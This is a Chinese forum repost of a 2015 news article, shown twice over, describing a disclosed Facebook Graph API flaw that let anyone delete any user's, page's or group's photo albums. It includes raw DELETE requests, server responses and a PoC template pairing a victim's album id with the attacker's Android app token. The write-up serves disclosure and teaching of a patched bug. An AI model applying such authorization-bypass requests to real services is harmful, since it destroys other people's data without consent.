-
-
价值12500美刀的Facebook相册删除漏洞
-
发表于: 2015-2-14 23:32 1600
-
新闻链接:http://bobao.360.cn/news/detail/1230.html
新闻时间:2015-02-13 12:03:15
新闻正文:
概述: 如果你的照片被不知不觉删除了,你会怎么办?
很显然,这个问题很让人烦是吧?这篇文章就是要讲我发现的一个漏洞,它允许恶意用户删除Facebook上的任何相册。没错,任何用户、页面、群组的相册都能被删掉。
Graph API是开发人员用来读取并写入用户数据的一种主要方式。Facebook所有的app用的都是Graph API。一般来讲,Graph API要求一个访问token来读取或写入用户数据。
Facebook开发人员的文档指出,相册并不能通过Graph API中的相册节点被删除。
我尝试通过图片浏览器访问token删除了我的一个相册。
1
2
3
4
5
6
7
8
Request :-
DELETE /518171421550249 HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
access_token=CAACEdEose0cBAABAXPPuULhNCsYZA2cgSbajNEV99ZCHXoNPvp6LqgHmTNYvuNt3e5DD4wZA1eAMflPMCAGKVlaDbJQXPZAWqd3vkaAy9VvQnxyECVD0DYOpWm
3we0X3lp6ZB0hlaSDSkbcilmKYLAzQ6ql1ChyViTiSH1ZBvrjZAH3RQoova87KKsGJT3adTVZBaDSIZAYxRzCNtAC0SZCMzKAyCfXXy4RMUZD
Response :-
{"error":{"message":"(#200) Application does not have the capability to make this API call.","type":"OAuthException","code":200}}
为什么?因为这个应用并不具备删除相册的功能。但是我们需要注意它的错误信息。它告诉我们,一些其他应用确实有调用这个API的功能。
我决定尝试Facebook的移动访问token,因为我们能看到Facebook移动app上删除所有相册的删除选项,不是吗?太好了。它用的是相同的API。所以我就拿了我自己的一个相册id跟Facebook的安卓访问token,并进行尝试。
Request :-
DELETE /518171421550249 HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
Response :-
true
Album(518171421550249) got deleted :D so whats the next step? Took
victim's album id and tried to delete it. I was very curious to see the
result.
Request :-
DELETE /518171421550249 HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
Response :-
true
天哪!相册被删掉了!所以我拿到了删除你们所有Facebook相册的密钥,哈哈。
我马上把这个漏洞报告给Facebook安全团队。他们的反应太迅速了,并且用了不到两小时就提供了修复方案。
最后是PoC:
1Request :-
2DELETE /<Victim's_photo_album_id> HTTP/1.1
3Host : graph.facebook.com
4Content-Length: 245
5access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>
如果你还不确定应该怎么做,请看下面的视频:
http://my.tv.sohu.com/us/246603286/78437451.shtml
Facebook安全团队发出的首份感谢信:http://p0.qhimg.com/t0192e30bf5059ecdfb.jpg
修复答复并奖励了我12500美元,表彰我对漏洞的报告。
现在,漏洞已完全修复。
新闻时间:2015-02-13 12:03:15
新闻正文:
概述: 如果你的照片被不知不觉删除了,你会怎么办?
很显然,这个问题很让人烦是吧?这篇文章就是要讲我发现的一个漏洞,它允许恶意用户删除Facebook上的任何相册。没错,任何用户、页面、群组的相册都能被删掉。
Graph API是开发人员用来读取并写入用户数据的一种主要方式。Facebook所有的app用的都是Graph API。一般来讲,Graph API要求一个访问token来读取或写入用户数据。
Facebook开发人员的文档指出,相册并不能通过Graph API中的相册节点被删除。
我尝试通过图片浏览器访问token删除了我的一个相册。
1
2
3
4
5
6
7
8
Request :-
DELETE /518171421550249 HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
access_token=CAACEdEose0cBAABAXPPuULhNCsYZA2cgSbajNEV99ZCHXoNPvp6LqgHmTNYvuNt3e5DD4wZA1eAMflPMCAGKVlaDbJQXPZAWqd3vkaAy9VvQnxyECVD0DYOpWm
3we0X3lp6ZB0hlaSDSkbcilmKYLAzQ6ql1ChyViTiSH1ZBvrjZAH3RQoova87KKsGJT3adTVZBaDSIZAYxRzCNtAC0SZCMzKAyCfXXy4RMUZD
Response :-
{"error":{"message":"(#200) Application does not have the capability to make this API call.","type":"OAuthException","code":200}}
为什么?因为这个应用并不具备删除相册的功能。但是我们需要注意它的错误信息。它告诉我们,一些其他应用确实有调用这个API的功能。
我决定尝试Facebook的移动访问token,因为我们能看到Facebook移动app上删除所有相册的删除选项,不是吗?太好了。它用的是相同的API。所以我就拿了我自己的一个相册id跟Facebook的安卓访问token,并进行尝试。
Request :-
DELETE /518171421550249 HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
Response :-
true
Album(518171421550249) got deleted :D so whats the next step? Took
victim's album id and tried to delete it. I was very curious to see the
result.
Request :-
DELETE /518171421550249 HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
Response :-
true
天哪!相册被删掉了!所以我拿到了删除你们所有Facebook相册的密钥,哈哈。
我马上把这个漏洞报告给Facebook安全团队。他们的反应太迅速了,并且用了不到两小时就提供了修复方案。
最后是PoC:
1Request :-
2DELETE /<Victim's_photo_album_id> HTTP/1.1
3Host : graph.facebook.com
4Content-Length: 245
5access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>
如果你还不确定应该怎么做,请看下面的视频:
http://my.tv.sohu.com/us/246603286/78437451.shtml
Facebook安全团队发出的首份感谢信:http://p0.qhimg.com/t0192e30bf5059ecdfb.jpg
修复答复并奖励了我12500美元,表彰我对漏洞的报告。
现在,漏洞已完全修复。
赞赏
看原图
赞赏
雪币:
留言: